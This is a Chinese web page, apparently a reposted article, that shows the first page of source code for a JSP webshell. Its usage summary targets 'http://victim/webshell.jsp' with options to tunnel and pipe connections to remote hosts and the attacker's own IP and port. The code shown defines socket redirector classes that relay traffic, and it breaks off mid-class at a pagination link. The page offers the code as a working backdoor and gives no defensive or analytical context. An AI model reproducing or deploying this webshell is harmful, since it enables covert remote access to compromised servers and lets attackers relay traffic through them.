JSPWEBSHELL

来源:网络收集 作者:admin 阅读: 字体:[ ] [打印] [关闭]
自定义标签 wzsp 未创建

内容提要:* WEBSHELL.JSP * 使用方法: * http://victim/webshell.jsp?[options ] * options: * action=piped=remoteHost==remotePort==myIp==myPort= * action=tunnel=remoteHost==remotePort==myPort= * action=login=userna ……

p;


*/  

%>  

 

<%@ page import="java.io.*" %>  
<%@ page import="java.net.*" %>  
<%@ page import="java.util.*" %> 
<%@ page import="java.awt.Dimension" %> 
<%  
class redirector implements Runnable  
{  
private redirector companion = null;  
private Socket localSocket, remoteSocket;  
private InputStream from;  
private OutputStream to;  
private byte[] buffer = new byte[4096];  
public redirector(Socket local, Socket remote)  
{  
try {  
localSocket = local;  
remoteSocket = remote;  
from = localSocket.getInputStream();  
to = remoteSocket.getOutputStream();  
} catch(Exception e) {}  
}  

public void couple(redirector c) {
companion = c;
Thread listen = new Thread(this);  
listen.start();  
}  
public void decouple() { companion = null; }  
public void run()  
{  
int count;  
try {  
while(companion != null) {  
if((count = from.read(buffer)) < 0)  
break;  
to.write(buffer, 0, count);  
}  
} catch(Exception e) {}  
try {  
from.close();  
to.close();  
localSocket.close();  
remoteSocket.close();  
if(companion != null) companion.decouple();  
} catch(Exception io) {}  
}  
}  
class redirector1 implements Runnable  
{  private redirector1 companion = null;  
private Socket localSocket, remoteSocket;  
private InputStream from;  
private OutputStream to;  
private byte[] buffer =

上一页123下一页
[标签: JSPWEBSHELL] [打印] [关闭]
站长评论(0) 查看所有评论
相关新闻

热门新闻

推荐新闻